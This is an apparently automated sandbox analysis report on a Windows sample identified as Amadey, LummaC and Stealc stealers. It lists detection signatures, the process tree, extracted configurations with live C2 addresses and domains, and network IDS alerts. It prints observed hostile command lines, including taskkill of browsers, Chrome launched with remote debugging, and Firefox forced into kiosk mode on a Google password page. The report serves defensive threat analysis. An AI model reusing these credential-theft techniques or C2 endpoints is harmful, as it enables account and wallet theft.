Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1557945
MD5:	22ee1495ad3fd1a2a7f4e210e6932916
SHA1:	a3879ccd26a8b8cbfaa6492f1b75ddd9472b3783
SHA256:	5161e963b4f92b7c6feef9a626f6f4afc0454eb363a6c39ac741e9e1ade5fa77
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 360 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 22EE1495AD3FD1A2A7F4E210E6932916)

skotes.exe (PID: 5688 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 22EE1495AD3FD1A2A7F4E210E6932916)

skotes.exe (PID: 940 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 22EE1495AD3FD1A2A7F4E210E6932916)

skotes.exe (PID: 7628 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 22EE1495AD3FD1A2A7F4E210E6932916)

e5323e2eed.exe (PID: 7860 cmdline: "C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe" MD5: 632C9FF09B97E8002CB53634BDFA2494)

51d383286f.exe (PID: 8020 cmdline: "C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe" MD5: B7C3ABF55D5E1333F94076A0A9002430)

8ab7de79e4.exe (PID: 7096 cmdline: "C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe" MD5: AD398EDCE35BD091CF4D289D7BA7D86D)

chrome.exe (PID: 6200 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2656 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2428 --field-trial-handle=2072,i,121211281076479918,13658437457281911458,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

WerFault.exe (PID: 3408 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7096 -s 1568 MD5: C31336C1EFC2CCB44B4326EA793040F2)

436631dbc3.exe (PID: 2788 cmdline: "C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe" MD5: 6F6AAAB9F33C162B36534ECC965FED7F)

taskkill.exe (PID: 3128 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6400 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6976 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6716 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2140 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4448 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 6820 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

e96c94d1af.exe (PID: 3504 cmdline: "C:\Users\user\AppData\Local\Temp\1007215001\e96c94d1af.exe" MD5: FFFCB8FB5E1456CBC71DD2B92B2946E4)

51d383286f.exe (PID: 3292 cmdline: "C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe" MD5: B7C3ABF55D5E1333F94076A0A9002430)

firefox.exe (PID: 7288 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7296 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 4212 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2196 -parentBuildID 20230927232528 -prefsHandle 2132 -prefMapHandle 2124 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {54f0d578-7687-4d9a-a389-223f0b364265} 7296 "\\.\pipe\gecko-crash-server-pipe.7296" 1d15de6f310 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 2640 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4492 -parentBuildID 20230927232528 -prefsHandle 4480 -prefMapHandle 3868 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {33f45843-65c2-451a-8a05-3d08bc417555} 7296 "\\.\pipe\gecko-crash-server-pipe.7296" 1d1703def10 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

8ab7de79e4.exe (PID: 2384 cmdline: "C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe" MD5: AD398EDCE35BD091CF4D289D7BA7D86D)

436631dbc3.exe (PID: 2764 cmdline: "C:\Users\user\AppData\Local\Temp\1007214001\436631dbc3.exe" MD5: 6F6AAAB9F33C162B36534ECC965FED7F)

taskkill.exe (PID: 7016 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7292 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: LummaC

{"C2 url": ["3xp3cts1aim.sbs", "processhol.sbs", "p3ar11fter.sbs", "peepburry828.sbs", "p10tgrace.sbs"], "Build id": "LOGS11--LiveTraffic"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000A.00000003.3144560699.0000000001415000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000003.2686166030.0000000005690000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000002.3409739852.0000000000DE1000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000003.3186567211.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000008.00000003.3005078237.0000000001774000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000003.2973104659.00000000017D4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000003.2972431197.0000000001774000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2057255446.0000000004D00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.2124985182.0000000000E81000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.3163062280.0000000001415000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000003.2972497685.00000000017D4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000003.3027483496.0000000001777000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2129686314.0000000000E81000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.3024295095.00000000053B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000008.00000003.2991298066.00000000017CB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2099703092.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.3228649790.0000000001415000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.3199096134.0000000001415000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000024.00000002.3415548136.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
00000002.00000003.2083805317.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000002.3424417646.000000000178E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000002.3414326186.0000000000DE1000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000003.3178957327.000000000101F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
00000008.00000003.3011062544.0000000001777000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2087115717.0000000004B10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000003.2991245775.0000000001776000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000003.2989979578.00000000017CA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.3170943113.0000000001416000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 51d383286f.exe PID: 8020	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 51d383286f.exe PID: 8020	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 51d383286f.exe PID: 8020	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 8ab7de79e4.exe PID: 7096	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 8ab7de79e4.exe PID: 7096	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 8ab7de79e4.exe PID: 7096	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 51d383286f.exe PID: 3292	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 51d383286f.exe PID: 3292	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 51d383286f.exe PID: 3292	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 436631dbc3.exe PID: 2788	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 34 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.file.exe.ac0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.skotes.exe.e80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.skotes.exe.e80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.e80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7628, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\51d383286f.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe, ParentProcessId: 7096, ParentProcessName: 8ab7de79e4.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 6200, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7628, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\51d383286f.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T19:04:28.067510+0100	2028371	3	Unknown Traffic	192.168.2.5	49982	188.114.96.3	443	TCP
2024-11-18T19:04:29.715330+0100	2028371	3	Unknown Traffic	192.168.2.5	49984	188.114.96.3	443	TCP
2024-11-18T19:04:31.502104+0100	2028371	3	Unknown Traffic	192.168.2.5	49985	188.114.96.3	443	TCP
2024-11-18T19:04:33.193478+0100	2028371	3	Unknown Traffic	192.168.2.5	49986	188.114.96.3	443	TCP
2024-11-18T19:04:35.287054+0100	2028371	3	Unknown Traffic	192.168.2.5	49987	188.114.96.3	443	TCP
2024-11-18T19:04:38.029155+0100	2028371	3	Unknown Traffic	192.168.2.5	49990	188.114.96.3	443	TCP
2024-11-18T19:04:39.684337+0100	2028371	3	Unknown Traffic	192.168.2.5	49992	188.114.96.3	443	TCP
2024-11-18T19:04:44.562312+0100	2028371	3	Unknown Traffic	192.168.2.5	49993	188.114.96.3	443	TCP
2024-11-18T19:04:46.180972+0100	2028371	3	Unknown Traffic	192.168.2.5	49996	188.114.96.3	443	TCP
2024-11-18T19:04:46.879953+0100	2028371	3	Unknown Traffic	192.168.2.5	49997	188.114.96.3	443	TCP
2024-11-18T19:04:48.883741+0100	2028371	3	Unknown Traffic	192.168.2.5	50008	188.114.96.3	443	TCP
2024-11-18T19:04:51.182436+0100	2028371	3	Unknown Traffic	192.168.2.5	50015	188.114.96.3	443	TCP
2024-11-18T19:04:55.252607+0100	2028371	3	Unknown Traffic	192.168.2.5	50022	188.114.96.3	443	TCP
2024-11-18T19:05:01.881521+0100	2028371	3	Unknown Traffic	192.168.2.5	50042	188.114.96.3	443	TCP
2024-11-18T19:05:04.304363+0100	2028371	3	Unknown Traffic	192.168.2.5	50044	188.114.96.3	443	TCP
2024-11-18T19:05:07.500995+0100	2028371	3	Unknown Traffic	192.168.2.5	50047	188.114.96.3	443	TCP
2024-11-18T19:05:16.891984+0100	2028371	3	Unknown Traffic	192.168.2.5	50079	188.114.96.3	443	TCP
2024-11-18T19:05:21.199930+0100	2028371	3	Unknown Traffic	192.168.2.5	50097	188.114.96.3	443	TCP
2024-11-18T19:05:29.779993+0100	2028371	3	Unknown Traffic	192.168.2.5	50105	188.114.96.3	443	TCP
2024-11-18T19:05:31.221317+0100	2028371	3	Unknown Traffic	192.168.2.5	50107	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T19:04:28.593540+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49982	188.114.96.3	443	TCP
2024-11-18T19:04:30.455324+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49984	188.114.96.3	443	TCP
2024-11-18T19:04:45.363843+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49993	188.114.96.3	443	TCP
2024-11-18T19:04:46.538572+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49996	188.114.96.3	443	TCP
2024-11-18T19:04:47.274969+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49997	188.114.96.3	443	TCP
2024-11-18T19:05:08.106053+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50047	188.114.96.3	443	TCP
2024-11-18T19:05:17.406995+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50079	188.114.96.3	443	TCP
2024-11-18T19:05:21.974832+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50097	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T19:04:28.593540+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49982	188.114.96.3	443	TCP
2024-11-18T19:04:45.363843+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49993	188.114.96.3	443	TCP
2024-11-18T19:05:17.406995+0100	2049836	1	A Network Trojan was detected	192.168.2.5	50079	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T19:04:30.455324+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49984	188.114.96.3	443	TCP
2024-11-18T19:04:47.274969+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49997	188.114.96.3	443	TCP
2024-11-18T19:05:21.974832+0100	2049812	1	A Network Trojan was detected	192.168.2.5	50097	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T19:04:47.712879+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	50005	185.215.113.16	80	TCP
2024-11-18T19:05:09.073484+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	50054	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T19:04:18.893337+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49978	185.215.113.43	80	TCP
2024-11-18T19:04:28.160610+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49981	185.215.113.43	80	TCP
2024-11-18T19:04:37.353962+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49988	185.215.113.43	80	TCP
2024-11-18T19:04:45.445767+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49994	185.215.113.43	80	TCP
2024-11-18T19:04:57.368582+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50025	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T19:04:38.613949+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49989	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T19:04:38.606610+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49989	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T19:04:38.898182+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49989	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T19:04:40.098271+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49989	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T19:04:38.908151+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49989	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T19:04:38.483845+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49990	188.114.96.3	443	TCP
2024-11-18T19:05:31.931103+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	50107	188.114.96.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T19:04:38.323295+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49989	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T19:04:05.273070+0100	2856147	1	A Network Trojan was detected	192.168.2.5	49955	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-18T19:04:17.956895+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	49970	TCP

ETPRO MALWARE Common Downloader Header Pattern H

